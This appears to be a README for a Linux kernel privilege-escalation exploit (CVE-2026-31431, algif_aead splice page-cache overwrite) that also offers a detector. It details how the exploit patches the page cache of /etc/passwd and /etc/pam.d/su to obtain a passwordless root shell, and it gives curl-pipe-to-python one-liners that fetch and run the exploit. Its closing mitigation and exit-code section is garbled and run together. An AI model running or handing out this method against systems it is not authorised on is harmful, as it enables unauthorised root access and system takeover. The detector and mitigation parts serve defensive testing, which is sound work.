
Local privilege escalation exploit for CVE-2026-31431 in Linux kernel's algif_aead, using splice to overwrite page cache and gain root. Includes a read-only detector.
CVE-2026-31431 is a local privilege escalation vulnerability in the Linux kernel's algif_aead subsystem. The authencesn AEAD implementation performs an in-place decrypt via splice(2), placing a page-cache page into the destination scatterlist. A 4-byte value from the AAD (seqno_lo) is written back into that page-cache page before the authentication tag is verified — allowing an unprivileged user to overwrite arbitrary bytes of any world-readable file's kernel page cache.
Vulnerable since: kernel 4.14 (August 2017) — when authencesn was introduced into algif_aead
Fixes released for: 6.12, 6.17, and 6.18 stable lines only
Permanently unpatched: kernels 4.14–6.11 (EOL; no backport will be issued)
Primitives required: AF_ALG socket, authencesn(hmac(sha256),cbc(aes)) cipher, splice(2) into an AF_ALG socket fd
Impact: Local privilege escalation to root — fully automated, no password required
The exploit applies two page-cache patches in sequence, then exec's su automatically:
/etc/passwd patch — opens the file (world-readable), populates its page cache, then uses the authencesn splice primitive to flip the running user's 4-digit UID field to 0000. After the patch, getpwnam() reports the user as UID 0.
/etc/pam.d/su patch — pam_rootok.so and pam_permit.so are both exactly 13 characters. Two 4-byte writes replace pam_rootok.so with pam_permit.so in the PAM config's page cache. Since pam_permit always returns PAM_SUCCESS, the existing auth sufficient line fires immediately — no password prompt is issued.
Automatic shell — the script exec's su <user>. PAM authenticates without a password (step 2), then succeeds because reports UID 0 (step 1). A root shell is returned with no user interaction.
No disk writes occur at any point. Dropping the page cache (echo 3 > /proc/sys/vm/drop_caches) or rebooting fully reverts both patches.
For authorized testing only. Only run on hosts you own or are explicitly engaged to assess.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
A root shell is returned automatically — no password needed.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG socket support enabled (standard on most distros)authencesn(hmac(sha256),cbc(aes)) loadable (standard on most distros)test_cve_2026_31431.py is a safe, read-only detector bundled in this repo. It exercises the algif_aead splice primitive against a throwaway sentinel file it creates in a temp directory — no system file is ever touched. It prints a verdict and exits with a well-defined code:
| Exit code | Meaning |
|---|---|
0 | Not vulnerable — precondition not met or page cache was not modified |
Run it:
# One-liner (no install required)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# Or from a local clone
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
Example output on a vulnerable kernel:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
Example output on a patched kernel:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
algif_aead via /etc/modprobe.d: install algif_aead /bin/falseAF_ALG sockets with seccomp or LSM policy.net/tls + crypto/algif_aead — authencesn in-place dst scatterlist isolationsetuid(0)getpwnam()1 | Test error (e.g. AF_ALG unavailable, splice unsupported) |
2 | VULNERABLE — marker bytes landed in the spliced page-cache page |